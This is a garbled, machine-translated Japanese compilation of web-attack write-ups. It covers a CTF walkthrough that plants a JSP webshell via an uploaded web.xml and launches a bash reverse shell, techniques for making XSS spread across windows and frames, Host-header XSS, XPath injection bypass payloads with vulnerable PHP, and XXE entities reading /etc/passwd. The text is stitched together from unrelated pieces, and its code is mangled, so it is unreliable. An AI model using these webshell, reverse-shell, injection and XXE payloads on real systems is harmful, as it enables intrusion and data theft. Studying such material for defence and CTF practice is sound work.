1049983-20241004160051668-845592983.jpg

次に、 /ボードルートクッキーにコピーし、サーバーはポート2333を聴き、シェルで直接バウンスしました。

1049983-20241004160052398-811563231.jpg

1049983-20241004160053245-526711236.jpg

ルートディレクトリのReadflagは、フラグを取得するために直接実行されます。

web3

アクセス /MyApp入力後。次に、アクセス /読み取りに移動してファイルを読み取り、オンラインで記事を見つけます。

https://www.cnblogs.com/junglezt/p/18122284 Tomcat /conf/tomcat-users.xmlの多くが変更されないため、パスワードが内側にあることがわかります。

1049983-20241004160054060-485284736.jpg

次に、それを見つけて、ログインに移動してログインします。

ログインした後、アップロード操作を実行できることがわかりました。そして、ここでポイントを見つけました。

1049983-20241004160100829-2097794800.jpg

web.xmlを入力すると、間違いなく禁止され、ファイルのアップロードにはフィルタリングがありません。

XMLなどの構成ファイルのみを使用できるため、構成ファイルを変更してXMLをJSPのXML構成ファイルとして直接認識し、1.xmlで渡すことができます。

1049983-20241004160101619-371163988.jpg

?xmlバージョン='1.0'エンコード='utf-8'?

web-app xmlns='http://xmlns.jcp.org/xml/ns/javaee'

xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'

XSI:SCHEMALOCATION='http://XMLNS.JCP.ORG/XML/NS/JAVAEE http://XMLNS.JCP.ORG/xml/ns/javaee/web-app_4_0.xsd'バージョン='4.0' '

サーブレット

サーブレット - ナメックス/サーブレット名

jsp-file/web-inf/1.xml/jsp-file

Load-on-startup1/load-on-startup

/サーブレット

サーブレットマッピング

サーブレット - ナメックス/サーブレット名

url-pattern/exec/url-pattern

/サーブレットマッピング

/web-app次に、1.xmlで渡されて、JSPファイルとして認識できるかどうかを確認しようとします。私たちが渡すのはトロイの木馬です:

out.println( 'hello');

プロセスプロセス=runtime.getRuntime()。exec(request.getParameter( 'cmd'));

1049983-20241004160102504-257286285.jpg

読み取りは絶対的なパスを使用して読み取り、その後、絶対的なパスはその /envルートにあります。そして、あなたはそれを手に入れるためにチャットに尋ねることができます。次に、アクセスが成功した後、構成ファイルで定義された /execルートにアクセスし、CMDパラメーターを渡し、hello:Echo Helloを確認するために任意のパラメーターを渡すことがわかりました。

1049983-20241004160103176-2006551884.png

成功したエコーは、JSPトロイの木馬が渡されたことを示していることがわかります。JSPリバウンドシェルを直接使用してヒットします。

bash -c {echo、ymfzacatasa+jiavzgv2l3rj

XSSの本質はまだスクリプトです。他のドキュメント要素と同様に、ページが閉じている場合、すべてが破壊されます。ページの外にスクリプトを広めることができない限り、より長い活力を得ることができます。

幸いなことに、この特別な機能は、DOMが生まれた日から私たちのために準備されており、スクリプトが現在のページを突破する機能を持つことができます。

私たちの人生を拡大する黒い魔法を始めましょう。

逆注射

不合理な基準は、しばしばさまざまな隠された危険をもたらします。

ブラウザは、ソースページにアクセスするためのポップアップウィンドウ用のオープナープロパティを提供します。ただし、仕様は合理的に設計されていないため、ページがオープナーにも使用できるハイパーリンクを介して表示されます。

しかし、論理的に言えば、スクリプトを介してポップアップしたサブページのみがオープナー属性を持つことができるため、お互いにアクセスして操作できます。

ただし、実際には、実際にはハイパーリンクでクリックされるページがあります!これにより、XSS —— XSSのドアが開き、現在のページを操作するだけでなく、同じ親ページに送信できます。

0oinbombqgn9190.png

XSSが親ページに感染すると、その戦闘効果は大幅に改善されます。

XSSの投稿を読んですぐに閉じる限り、投稿リストページに感染することが想像できます。

さらに興味深いのは、オープナー属性が相同政策によって制限されていないことです。親ページに異なるソースがある場合でも、親ページのオープナーは引き続きアクセスできます。

Opener.opener.openerに沿ってテストすることができます.現在のページと同じ限り、異なるソースから他のページから分離されているにもかかわらず、——を操作できます。

4tvdleyrnl49191.png

Webサイトのメインページは、詳細なページよりもユーザーが明らかに信頼しており、長く滞在しているため、攻撃力を指数関数的に増やすことができます。

前方注射

逆注射が沈黙の生活である場合、陽性注射は物事を好転させる機会です。

親ページを制御できますが、親ページからクリックされたWebページはまだ制御できません。サブページを制御する機能がある場合、さらに完璧になります。

残念ながら、ハイパーリンクが開く新しいページを制御できません。制御できる唯一の新しいページは、window.openのポップアップページです。幸いなことに、ブラウザの大部分では、同じように見えます。

したがって、ユーザーがクリックしているときにデフォルトのハイパーリンク動作をブロックし、ポップアップページに置き換え、window.openで返される新しいページにxssを挿入できます。

out0ujh2riz9192.png

同様に、サブページを通じて再帰的に開かれた新しいページを逃れることはできません。ですから、私たちの子孫はすべて私たちの管理下にあります。

wibrhb0rijk9193.png

逆の注射により、既存の領土を占有することができます。積極的に注射し、私たちの力を拡大し、それを広めます。 2つが組み合わされている場合、彼らは国の半分を占領することができます。

前方注射には詳細な問題があることは注目に値します。すべてのハイパーリンクがポップアップ(_blank)であるわけではなく、それらの多くが現在のページでリダイレクトされています。ハイジャックしたい場合は、この問題を無視できます。慎重なユーザーに発見されたくない場合は、現在のハイパーリンクとベースのターゲット属性を判断して、ハイジャックするかどうかを決定できます。

ページ監督

上記のように、それが現在のページでリダイレクトされている場合、それは感染し続けることができますか?または、特定のページが更新された後に失われますか?

答えはイエスです。私たちがいくつかの措置を講じず、占領された領土が失われ続けることを許可すると、私たちの影響力の領域は死ぬまで小さくなります。

防御は攻撃よりも困難です。いつ失うかわからないので、定期的にチェックする必要があります。

rn4stvo14d29194.png

相手が私たちのコントロールから解放されたことが発見されたら、私たちの力を回復するためにすぐに再注入する必要があります。

vmmlzn2cdyl9195.png

もちろん、新しいページのXSSの場合、注入が早ければ早いほど良いです。前面が高いほど、優先度が高くなり、ページの通常のビジネス機能をブロックできます。

ページの更新、ジャンプ、その他の動作についてできるだけ早く知るために、アンロードイベントを追跡し、ページが失われようとしているときにメッセージを通知して、相手ができるだけ早く自分自身を救うことができるようにすることもできます。

440feqxxeio9196.png

このようにして、タイマーを待つ必要はなく、できるだけ早く回復することができます。ページの最初のスクリプトの前でさえ、XSSを実行します。

もちろん、どのような状況も回復することはできません。別のソースからページにジャンプすると、明らかにそれについて何もできません。 ——しかし、あなたはそれをあきらめますか?答えは、妥協しないでください!

このページは私たちと別れたが、私たちがまだコントロールしている形式。私たちはジャンプしたり、閉じたり、奇跡さえも起こります。ページが私たちのサイトに戻ってくる限り、それは私たちによって取り戻される可能性があります!bfauxcig1kx9197.png

互いに接続します

まだページがある限り、かつて占領されていた領土を取り戻すことができることを見つけることは難しくありません。したがって、すべてのページがすべてのメンバーを知って監督するように、すべての制御可能なページを接続する必要があります。

新しいメンバーが参加したら、全員に通知し、それぞれのページに記録します。

4bfv3qghwbo9198.png

このように、ページの1つが誤って閉じられていても、重要な情報は失われません。 ——情報が各ページに配布および保存されています。

したがって、より多くのページが開かれるほど、相互接続が強くなります。

co2gmrdkqrk9199.png

したがって、すべてのハイパーリンクを新しいページに変換して開くことは依然として非常に有利です。

最後のページが1つしか残っていない場合、リフレッシュすると誰もそれを保存するために来ると死にます。

ダウンドメインの試行

いくつかのWebサイトはDocument.domainを下回ります。たとえば、Alipay WebサイトのほとんどのページはAlipay.comです。このようにして、さまざまなソースのサブステーションも互いに制御できます。

したがって、さまざまなソースを持つページに遭遇した場合、独自のドメインを下げて再度操作を開始しようとすることができます。

j1segr4etal9200.png

form hijacking

前方注入に関しては、ハイパーリンクのクリックをハイジャックすることで達成されます。実際、ハイパーリンクに加えて、新しいページ、つまりフォームの提出物を入力する方法もあります。

ハイパーリンクと比較して、フォームはよりトリッキーに見えます。新しいページを開く必要があるだけでなく、フォームでデータを送信する必要があります。フォーム要素全体が提出のために新しいページにクローン化された場合、一部のデータは再び失われます。

ただし、フォーム要素を慎重に見ると、非常に簡単な方法があることがわかります。Window.openの2番目のパラメーターは、新しいウィンドウに名前を付けて、フォームのターゲット属性に名前を割り当てて、作成した新しいウィンドウに送信できます。これにより、XSSを注入できます。

フレームインジェクション

異なるページ間で順方向と逆を注入できます。同じページに複数のフレームページがある場合があるため、フレームページ間で上下に注入することもできます。

おそらく、XSSはページ上の小さなフレームにあります。独自のページに限定されている場合、開発の余地はありません。したがって、円から飛び出し、より広い親ページに注入する必要があります。

dn3j2onzknq9201.png

同様に、メインページが単なるシェルであり、実際のコンテンツが特定のフレームワークで実行される場合、より意味のある情報を取得するには、サブフレームに挿入する必要があります。

en54y5umo4f9202.png

同様に、上部と下の注入を組み合わせて、フレームページからXSSを破壊し、すべてのフレームページに感染させることもできます。

mu20mkp5dkp9203.png

postscript

これらの機能はDOMの誕生以来存在していましたが、完全なスクリプトを書くのは簡単ではありません。今日のIE 11まで、非メインストリームIEは言うまでもなく、さまざまな形の間でさまざまな奇妙な問題が操作されています。

幸いなことに、IEを除く他の主流のブラウザはうまく実行できます。上記の関数の一部を実装するデモは次のとおりです。

http://www.etherdream.com/funnyscript/xssghost/

HyperLinkをフォワードフォローすると、XSSを使用してページを入力すると、前の親ページが感染します。さらに深刻なのは、感染したページによって開かれたサブページのどれも免れないということです。更新されたとしても、他のページで監視され、すぐに復元されます。

幽霊のように、それは残ることはできません。

0x00序文

パブリックテストと排他的なテストに関して、XSSホール、水文学、水文学、水文学を拾う方法!

0x01毎日のテスト

毎日の退屈テストサイト。侵入テストを受けている場合、サーバー内のイメージを呼び出すHTMLタグがあり、サーバーIPアドレスを追加するタイプであることがわかります。ホストヘッダーを変更してXSSがあるかどうかを検出することにより、ファズを試みることができます。1049983-20221205120118289-2003703296.jpg 1049983-20221205120119178-982184139.jpgこの状況を見ると、後者のコードは次のように見える可能性があると推測できます。リクエストパッケージでホストを変更すると、XSSが発生する可能性があります。1049983-20221205120119915-1550751559.jpg

成功ポップアップウィンドウ1049983-20221205120120690-217287024.jpg 1049983-20221205120121286-2038736915.jpgラグを拾うためのヒントが完了しました。

元のリンクから転載:https://Blog.csdn.net/guapichen/article/details/124040935?spm=1001.2014.3001.5501

0x01 xpath

とは何ですか

XPathはXMLパス言語であり、W3Cです

XSLT標準の主な要素は、XML(標準ユニバーサルマークアップ言語のサブセット)ドキュメントの特定の場所を決定するために使用される言語です。

XPathはXMLのツリー構造に基づいており、要素ノード、属性ノード、テキストノードなど、さまざまなタイプのノードがあります。データ構造ツリーでノードを見つける機能を提供し、XMLドキュメントで要素と属性を通過するために使用できます。

XPathはパス式を使用して、XMLドキュメントでノードまたはノードのセットを選択します。これらのパス式は、通常のコンピューターファイルシステムで見られるものと非常に似ています。

XPathは、メモリ内のXMLツリー全体をナビゲートするために使用される言語です。その元の設計は、XSLTとXPointerの言語になることであり、後にW3C標準とは独立しました。

0x02 Basic xpath構文

(1)Query Basic Statement

//ユーザー/ユーザー[loginid/text()=’abc'

およびパスワード/テキスト()=’test123']。

これは、LoginID ABCを使用してすべてのユーザーデータを取得するためのXPathクエリステートメントです。ユーザーは、結果を返すために正しいログニドとパスワードを送信する必要があります。ハッカーが入力した場合: 'またはloginidフィールドで1=1で入力してください:'またはパスワードで1=1では、検証をバイパスして、すべてのユーザーデータを正常に取得できます

//users/user [loginid/text()='' or

1=1およびパスワード/テキスト()=''または1=1]

(2)ノードタイプ

Xpathでは、XMLドキュメントはノードツリーとして扱われます。 XPathには、要素、属性、テキスト、名前空間、処理命令、コメント、ドキュメントノード(またはルートノードになる)の7つのノードタイプがあります。ドキュメントのルートノードはドキュメントノードです。対応する属性には属性ノードがあり、要素には要素ノードがあります。

要素(要素)

属性

テキスト(テキスト)

名前空間(名前空間)

処理導入(処理手順)

コメント(コメント)

ルート(ルートノード)

たとえば、次のXMLドキュメント、

?xmlバージョン='1.0'

encoding='ISO-8859-1'?

書店

タイトル

lang='en'harry potter/title

著者K.

ローリング/著者

2005年/年

価格29.99/価格

/本

/書店

書店ルートノード

著者K.

ローリング/著者要素ノード

lang='en'属性ノード

(3)式

パス式(PATH

式)ノードを選択するには、基本ルール:

表現

説明する

nodename

このノードのすべての子供を選択します

/

ルートノードから選択します

//

その場所に関係なく、一致によって選択された現在のノードからドキュメント内のノードを選択します。

現在のノードを選択します

.

現在のノードの親ノードを選択します

@

属性または @*を選択します:属性ノードを一致させます

*

任意の要素ノードを一致させます

XMLインスタンスを見てみましょう。

?xmlバージョン='1.0'

encoding='ISO-8859-1'?

書店

タイトル

lang='eng'harry potter/title

価格29.99/価格

/本

タイトル

lang='eng'learning xml/title

価格39.95/価格

/本

/書店

しかし:

パス式の結果

表現

結果

書店

書店要素のすべての子供を選択します

/書店

ルート要素の書店を選択します

書店/本

書店の子要素に属するすべての本要素を選択してください

//本

ドキュメント内の場所に関係なく、すべての本の子要素を選択してください

書店//本

書店の下にある場所に関係なく、書店要素の子孫に属するすべての本要素を選択してください

//@lang

Langという名前のすべての属性を選択します

(4)限られた単語

予選は、特定のノードまたは指定された値を含むノードを見つけるために使用されるパス式の追加条件です。予選は、四角い括弧に埋め込まれています。

パス式の結果:

表現

結果

/書店/本[1]

書店の子要素に属する最初の本要素を選択します

/bookstore/book [last()]

書店の子要素に属する最後の本要素を選択します

//title [@lang]

Langという名前の属性を持つすべてのタイトル要素を選択します

//title [@lang=’eng’]

すべてのタイトル要素を選択すると、これらの要素にはvalue engを持つラング属性があります

/bookstore/book_price35.00 ]/title

書店要素で本要素のすべてのタイトル要素を選択します。

価格要素の値は35.00を超える必要があります

(5)ワイルドカード

Xpathワイルドカードを使用して、不明なXML要素を選択できます。

ワイルドカード

説明する

*

任意の要素ノードを一致させます

@*

属性ノードを一致させます

ノード()

あらゆるタイプのノードを一致させます

例、

表現

結果

/bookstore/*

書店要素のすべての子要素を選択します

//*

ドキュメント内のすべての要素を選択します

//タイトル[@*]

属性を持つすべてのタイトル要素を選択します

(6)複数のパス

を選択します

「|」を使用できますいくつかのパスを選択するパス式の演算子。

例、

表現

結果

//book/title \

//Book/Price

本要素のすべてのタイトルと価格要素を選択します

書店/本/タイトル\

//価格

書店要素に属する本要素のすべてのタイトル要素と、ドキュメント内のすべての価格要素を選択します

(7)演算子

パス式では、いくつかの一般的な数学演算子および論理演算子を使用できます。

http://03i0.com/2017/11/29/XPath%E6%B3%A8%E5%85%A5/1.png

(8)関数

名前の結果

祖先

現在のノードのすべての祖先(父、祖父など)を選択してください

先祖または自己

現在のノード(父、祖父など)のすべての祖先と現在のノード自体を選択します

属性

現在のノードのすべての属性を選択します

子供

現在のノードのすべての子要素を選択します。

子孫

現在のノードのすべての子孫要素(子供、孫など)を選択します。

子孫または自己

現在のノードと現在のノード自体のすべての子孫要素(子供、孫など)を選択します。

続く

ドキュメント内の現在のノードの終了タグの後にすべてのノードを選択します。

名前空間

現在のノードのすべての名前空間ノードを選択します

現在のノードの親ノードを選択します。

前に

ドキュメント内の現在のノードの開始タグの前に、すべてのノードを選択します。

先行する兄弟

現在のノードの前に同じレベルですべてのノードを選択します。

自己

現在のノードを選択します。

パス式は、絶対的なパスまたは相対パスである場合があります。例えば:

絶対位置パス:/step/step/.

相対位置パス:ステップ/ステップ/.

各ステップは、次のような表現になります。

軸(関数)(軸)

選択したノードと現在のノードとの間のツリーの関係を定義します

ノードテスト

軸内のノードを識別します

ゼロ以上の述語

選択したノードセットをより深く改良します

例:結果の例

child:book

現在のノードのすべての子要素を選択します

属性:Lang

現在のノードのLang属性を選択します

子:*

現在のノードのすべての子要素を選択します

属性:*

現在のノードのすべての属性を選択します

child:3360text()

現在のノードのすべてのテキストチャイルドノードを選択します

child:3360node()

現在のノードのすべての子供を選択します

descendant:book

現在のノードのすべての本の子孫を選択します

Ancestor:book

現在のノードのすべての本の祖先を選択します

祖先または自己:book

現在のノードのすべての本の祖先と現在のノードを選択します(ノードが本ノードの場合)

child:*/child:3360price

現在のノードのすべての価格の孫を選択します。

0x03 Xpath注入の定義

XPathインジェクション攻撃とは、XPathパーサーのゆるい入力および断層許容度の使用を指します。

悪意のあるXPathクエリコードがURL、フォーム、またはその他の情報に添付され、許可情報にアクセスして変更します。 Xpathインジェクション攻撃は、Webサービスの新しい攻撃方法です。これにより、攻撃者は、事前にXPathクエリの関連する知識を知らずに、XPathクエリを使用してXMLドキュメントの完全なコンテンツを取得できます。 XPathインジェクション攻撃は、SQLインジェクション攻撃に本質的に似ており、いくつかの悪意のあるクエリとその他のコード文字列の両方でWebサイトを攻撃します。

0x04 xpathインジェクション説明

XPathインジェクション攻撃とは、URL、フォーム、またはその他の情報に悪意のあるXPathクエリコードを添付して、許可情報にアクセスして変更する機能を指します。 XPathインジェクションは、サイトがユーザーが入力した情報を使用してXMLデータを取得するリクエストを作成するときに発生します。攻撃者は、サイトに特別に構築された情報をサイトに送信して、サイトで使用されるXMLの構築方法を調査し、通常のチャネルでは取得できないデータをさらに取得します。 XMLデータがアカウント検証として使用される場合、攻撃者は許可を増やすこともできます。

0x05 xpath噴射原理

Xpath注入の原理は、実際にはSQL注入と非常に似ています。 Xpath噴射攻撃は、主に特別な入力を使用して特別な入力を構築します。これらの入力は、多くの場合、Xpath構文のいくつかの組み合わせです。これらの入力はパラメーターとしてWebアプリケーションに渡され、侵入者はXPathクエリを実行することで望みます。ただし、注入されたオブジェクトはデータベースユーザーテーブルではなく、データを保存するXMLファイルです。攻撃者は、XMLデータの組織構造を取得したり、通常の状況では許可されていないデータにアクセスできます。 XMLデータがユーザー認証に使用される場合、攻撃者は許可を増やすことができます。 Xpathにはアクセス制御がないため、SQLインジェクションでしばしば遭遇する多くのアクセス制限に遭遇しません。 XMLにはアクセス制御やユーザー認証はありません。ユーザーがXPathクエリを使用する許可があり、それらの間に防御システムがない場合、またはクエリステートメントが防御システムによってフィルタリングされていない場合、ユーザーはXMLドキュメント全体にアクセスできます。インジェクションは、場所がCookie、ヘッダー、要求パラメーター/入力などである場合に発生します。Xpathインジェクション攻撃の実装原則を示す例として、以下はログイン検証のモジュールです。

Webアプリケーションのログイン検証プログラムには、通常、ユーザー名とパスワードの2つのパラメーターがあります。このプログラムは、ユーザーが提出したユーザー名とパスワードを介して承認操作を実行します。検証データがXMLファイルに保存されている場合、原則は、ユーザーテーブルでユーザー名とパスワードを探すことでアクセスを承認することです。

user.xmlファイルは次のように存在します。

ユーザー

ユーザー

FirstNameBen/FirstName

lastnameelmore/lastName

loginidabc/loginid

PasswordTest123/パスワード

/ユーザー

ユーザー

FirstnameShlomy/firstName

lastnamegantz/lastName

loginidxyz/loginid

Password123Test/パスワード

/ユーザー

Xpathでは、その典型的なクエリステートメントは次のとおりです。

//users/user [loginid/text()='xyz'and password/text()=' 123test ']

ただし、次の方法を使用して、噴射攻撃を実装して認証をバイパスすることができます。もし

ユーザーは、loginid='xyz'やパスワード='123test'などのログインとパスワードを渡し、クエリステートメントがtrueを返します。ただし、ユーザーが 'または1=1または' '='のような値を渡すと、XPath Queryステートメントが最終的に次のコードになるため、クエリステートメントも真の返品値を取得します。

//users/user [loginid/text()=''または1=1または ''='' and

パスワード/テキスト()=''または1=1または ''='']

この文字列により、クエリが実際に返されるようになり、攻撃者が常にシステムにアクセスできるようになります。攻撃者はXPathを使用して、アプリケーションでXMLドキュメントを動的に操作できます。攻撃が完了した後、Xpathブラインドエントリテクノロジーを通じて最高の許可アカウントとその他の重要な文書情報を取得できます。拡張するために、updataxml()関数を介したXPTHエラーインジェクションの実装やXPTHブラインドアノテーションなど、Xpathインジェクションには多くのトリックがあります。

1.xpath実装原則1

主流のスクリプト言語は、XPathの処理をサポートします。今、私はPHPを使用してXpath注入の原理を学びます。

blog.xml:xmlバージョン='1.0' encoding='utf-8'?

ユーザー

ユーザー

id1/id

usernameadmin/username

パスワード

type='MD5'0192023A7BBD73250516F069DF18B500/パスワード

/ユーザー

ユーザー

id2/id

usernamejack/username

パスワード

type='MD5'1D6C1E168E362BC0092F247399003A88/パスワード

/ユーザー

ユーザー

id3/id

usernametony/username

パスワード

type='MD5'CC20F43C8C24DBC0B2539489B113277A/パスワード

/ユーザー

/ユーザー

秘密

flagflag {my_f1rst_xp4th_injecti0n}/flag

/秘密

/根

index.php:php

$ xml=simplexml_load_file( 'blog.xml');

$ name=$ _get ['name'];

$ pwd=md5($ _ get ['pwd']);

$ query=

'/root/users/user [username/text()=''.$Name。' 'およびpassword/text()=' '。$ pwd。' ']';

echo $ query;

$ result=$ xml-xpath($ query);

if($ result){

エコー

'h2welcome/h2';

foreach($ ressure $ key

=$ value){

エコー

'br /id:'.$value-id;

エコー

'br /username:'.$value-username;

}

}

コードは非常にシンプルで、簡単なログイン検証関数を実装しています。実際、それはSQLインジェクションに似ており、ユーザーが入力したデータをフィルタリングせず、攻撃者が「XPath式」を直接注入できるようになります。ユーザー名を知っている限り、パスワード検証をバイパスできます。

http://127.0.0.1/xpath/index.php?name=admin 'または

'1'='1pwd

http://03i0.com/2017/11/29/XPath%E6%B3%A8%E5%85%A5/2.png

ユーザー名がわからない場合は、2つの "または"を使用して検証ロジックをバイパスできます

http://127.0.0.1/xpath/index.php?name=fake 'または

'1'or'1pwd=fake

http://03i0.com/2017/11/29/XPath%E6%B3%A8%E5%85%A5/3.png

データを抽出します

2.xpath実装原則2

ここに例があります:

?php

$ re=

array( 'and'、 '、'、 'count'、 'select'、 'from'、 'union'、 'group'、 'by'、 'limit'、 'insert'、 'where'、 'orders'、 'delete'、 'having'、 'max'、 'min、' avg '、' sum '、' sqrt '、' concat ')、

setCookie( 'injection'、 'c3fsasbpcybub3qgdghlig9ubhkgd2f5igzvcibbmply3rpb24='、time()+100000);

if(file_exists( 't3stt3st.xml')){

$ xml=

simplexml_load_file( 't3stt3st.xml');

$ user=$ _ get ['user'];

$ user=str_replace($ re、 ''、

$ user);

//$ user=str_replace( ''、 'apos'、$ user);

$ query='user/username [@name=' '。$ user。' ']';

$ ans=$ xml-xpath($ query);

foreach($ ans as $ x=

$ x_value)

{

echo $ x.': '。 $ x_value;

エコー 'BR

/';

}

}

次のように、 /download.php?file=backup.zipにアクセスして、Webページソースコードをダウンロードしてください。

最初に、彼はSQLによって注入されたいくつかのキーワードをフィルタリングしました。 SetCookieには、base64暗号化された暗号文があります。デコード後、結果は次のとおりです。

SQLが唯一の注入方法ではなく、XMLの次の一連の操作と組み合わされたプロンプトに従って、この質問にXPathが注入されていることを確認できます。したがって、$ query='user/username [@name=' '。$ user' ']';

$ query='user/username [@name=' '] | //*| ss [' ']';

tdkj3ksjt4y9136.gif

このペイロードの意味は、「。$ user」の前後の単一の引用を閉じることです。同時に3つの操作を実行します。 2番目の操作//*はキーポイントであり、ドキュメント内のすべての要素をリストし、最終的にフラグを取得します

3.xpath原理実装3

スコアを保存するXMLファイルがあります。

score.xml:

### XMLおよびXXE注入の基本

1.xml定義

XMLは、次の3つの部分で構成されています。つまり、ドキュメントタイプ定義(DTD)、つまりXMLレイアウト言語。拡張可能なスタイル言語(XSL)、つまりXMLスタイルのシート言語。および拡張可能なリンク言語(XLL)。

XML:標準のユニバーサルマークアップ言語のサブセットである拡張可能なマークアップ言語は、電子ファイルをマークして構造的にするために使用されるマークアップ言語です。 (データを保存するのではなく)データを送信および保存するように設計されており、拡張可能なマークアップ言語は、ハイパーテキストマークアップ言語によく似たマークアップ言語です。その設計は、データを送信することではなく、データを送信することです。そのタグは事前に定義されていません。タグを自分で定義する必要があります。それは自己記述的であるように設計されています。これは、W3Cに推奨される標準です。

拡張可能なマークアップ言語(XML)およびハイパーテキストマークアップ言語(HTML)は、さまざまな目的で設計されています

データのコンテンツに焦点を当てて、データを送信および保存するように設計されています。

ハイパーテキストマークアップ言語は、データの外観に焦点を当てたデータを表示するように設計されています

2。 XML

の役割

XMLは、要素と属性を使用してデータを説明します。データ転送中、XMLは常に親/子関係などのデータ構造を保持します。いくつかのアプリケーションは、従来の文字列の解析または分解プロセスなしで、同じXMLファイルを共有および解析できます。それどころか、通常のファイルは各データセグメントを説明せず(ヘッダーファイルを除く)、データ関係構造を保持しません。 XMLデータには、XMLデータに場所(通常のファイルなど)または要素名(データベースから)を使用してアクセスできるため、データ交換にXMLを使用すると、アプリケーションがより柔軟になります。

XMLドキュメント構造には、XML宣言、DTDドキュメントタイプ定義(オプション)、ドキュメント要素が含まれます

?xmlバージョン='1.0'エンコード='utf-8'?

! - xmlステートメント -

!doctypeファイル名[

!エンティティエンティティ名「エンティティコンテンツ」

]

! - documentタイプ定義(dtd) -

要素名カテゴリ='属性'

テキストまたはその他の要素

/要素名

! - documentelement---

3.xml形式の説明

XMLは、電子ファイルをマークして構造的にするために使用されます。データをマークし、データ型を定義するために使用できます。これは、ユーザーが独自のマークアップ言語を定義できるソース言語です。 XMLドキュメント構造には、XML宣言、DTDドキュメントタイプ定義(オプション)、およびドキュメント要素が含まれます。

tldpl03s03f8981.gif

DTD(ドキュメントタイプ定義)の役割は、XMLドキュメントの法的ビルディングブロックを定義することです。 DTDは、XMLドキュメントで宣言したり、外部で参照することもできます。

(1)内部ステートメントdtd

!Doctypeルート要素[要素宣言]

(2)引用外部DTD

!doctypeルート要素システム「ファイル名」または

!doctype root element public 'public_id'

'ファイル名'

DTDエンティティは、通常のテキストまたは特殊文字を参照するショートカットを定義するために使用される変数であり、内部または外部で宣言できます。

(3)DTDエンティティ

l dtd

の役割

DTD(ドキュメントタイプ定義)の関数は、XMLドキュメントの法的構成要素を定義することです。 DTDは、XMLドキュメントで宣言したり、外部で参照されたりできます。

外部エンティティは、XMLプロセッサが解析する必要があるデータを指します。複数のドキュメント間で共有された公開参照を作成するのに役立ちます。外部エンティティに加えられた変更は、それへの参照を含むドキュメントで自動的に更新されます。つまり、XMLは外部エンティティを使用して情報または「コンテンツ」をXMLドキュメントの本文に自動的に抽出します。これを行うには、XMLドキュメント内の外部エンティティを宣言する必要があります

DTDエンティティは、通常のテキストまたは特殊文字を参照するショートカットを定義するために使用される変数であり、内部または外部で宣言できます。内部的にその値を決定できます(内部サブセット):

1

または外部ソースから:(外部サブセット):

2

システム識別子がそこにないことに注意してください。この識別子は、エンティティが外部ソース、この場合は「Site.com」の下のページからコンテンツを取得することを意味します。

これらのエンティティを宣言するには、ドキュメントタイプ定義(DTD)でそれを行う必要があります。 DTDは、XMLのドキュメントタイプを定義するために使用されるタグ宣言のセットです。 XMLドキュメントの法的構造ブロックと、法的要素と属性のリストを備えたドキュメント構造を定義します。 DTDは、XMLドキュメント内または外部参照宣言として宣言できます。システム識別子を使用して、解析可能な場所の別の宣言セットを指すことができます。エンティティはシステムキーワードを使用して外部リソースを呼び出すことができます。ここでは、HTTP;ファイルなどなどの多くのプロトコルをサポートし、他のDOMノードでは:Testを使用できます。このエンティティのコンテンツを参照します。

次に、解析されたXMLが製品機能設計で外側によって制御されている場合、ファイルの読み取り、DOS、CSRFなどの脆弱性を形成する可能性があります。

外部リソースを参照する場合は、さまざまなプロトコルを使用できます。いくつかの例:

file: ///path/to/file.ext

http://url/file.ext

Php: //filter/read=convert.base64-encode/resource=conf.php

DTDのシステム識別子を持つエンティティであるDTDの例を見てみましょう。

lbqa1rh54hn8984.gif

l内部宣言エンティティ

DTDエンティティは、通常のテキストまたは特殊文字を参照するショートカットを定義するために使用される変数であり、内部または外部で宣言できます。

内部エンティティステートメント

!エンティティエンティティ名「エンティティ値」

DTD:

!エンティティライター「私」

XML:

AuthorWriter;/著者

注:エンティティは、3つのパート:の合計番号()、エンティティ名、およびセミコロン(;)で構成されています。

l外部エンティティの引用

外部エンティティステートメント

!エンティティエンティティ名システム「uri/url」

または

!エンティティエンティティ名public_id '

「ウリ」

DTD:

!エンティティライターシステム

'http://example.com/dtd/writer.dtd '

XML:

AuthorWriter;/著者

外部エンティティタイプにはあります

xxe

(4)cdata

CDATAとは、XMLパーサーで解析されるべきではないテキストデータ(未散布されていない文字データ)を指します。

XML要素では、「

(新しい要素の始まり)と ''(キャラクターエンティティの始まり)は違法です。

JavaScriptコードなどの一部のテキストには、多数の「または」文字が含まれています。エラーを回避するために、スクリプトコードはCDATAとして定義できます。

CDATAセクションのすべては、パーサーによって無視されます。

部分的にcdata

'![cdata [' Starts、end by ']]'

4.xmlエンティティ

XMLのエンティティは、次の5つのタイプに分割されます:名前付きエンティティ、外部エンティティ、パラメーターエンティティ、内部エンティティ、通常のエンティティ、およびパラメーターエンティティはすべて、内部エンティティと外部エンティティに分割されます。外部エンティティの定義は、システムキーワードで追加する必要があり、そのコンテンツはURLによって指摘された外部ファイルの実際のコンテンツです。システムキーワードが追加されていない場合、それは内部エンティティであり、エンティティがコンテンツを文字列として参照することを示します。

(1)文字エンティティ

は、小数文字(#aaa;)または16進形式(#xaaa;)でユニコード文字を指定することを指します。 XMLパーサーの場合、文字エンティティは、指定された文字に直接入力することとまったく同じです。

(2)名前付きエンティティ

内部エンティティとも呼ばれ、DTDまたは内部サブセットで宣言されている(つまり、ドキュメントの!Doctypeステートメントの一部)、ドキュメントの参照として使用されます。 XMLドキュメントの解析中、エンティティの参照はその表現に置き換えられます。

?xmlバージョン='1.0'エンコード='utf-8'?

!doctype any [

!エンティティXXEシステム 'file: ///c: //test/1.txt']

valueExxe;/value

?xmlバージョン='1.0'エンコード='utf-8'?

!doctype any [

!エンティティXXEシステム 'http://otherhost/xxxx.php']

valueExxe;/value

XXE+SSRFとして使用できます

(3)外部エンティティ

外部エンティティは、システムキーワードで表される外部ファイルのコンテンツを表します。

!エンティティテストシステム '1.xml'

一部のXMLドキュメントには、システム識別子によって定義された「エンティティ」が含まれており、Doctypeヘッダータグにレンダリングされています。これらの定義された「エンティティ」は、ローカルまたはリモートコンテンツにアクセスできます。たとえば、次のXMLドキュメントサンプルにはXML「エンティティ」が含まれています。

?xmlバージョン='1.0'エンコード='utf-8'?

!doctype何でも[

!Entity EntityEx System 'file: ///etc/passwd'

]

abcentityex;/abc

上記のコードでは、XML外部エンティティ「EntityEx」に割り当てられた値は、file: //etc/passwdです。 XMLドキュメントの解析中、エンティティ「EntityEx」の値は、URI(File: //など)コンテンツ値(つまり、PassWDファイルのコンテンツ)に置き換えられます。キーワード「システム」は、XMLパーサーに、「EntityEx」エンティティの値がURIから読み取り、EntityExが表示される読み取りコンテンツを置き換えることを伝えます。

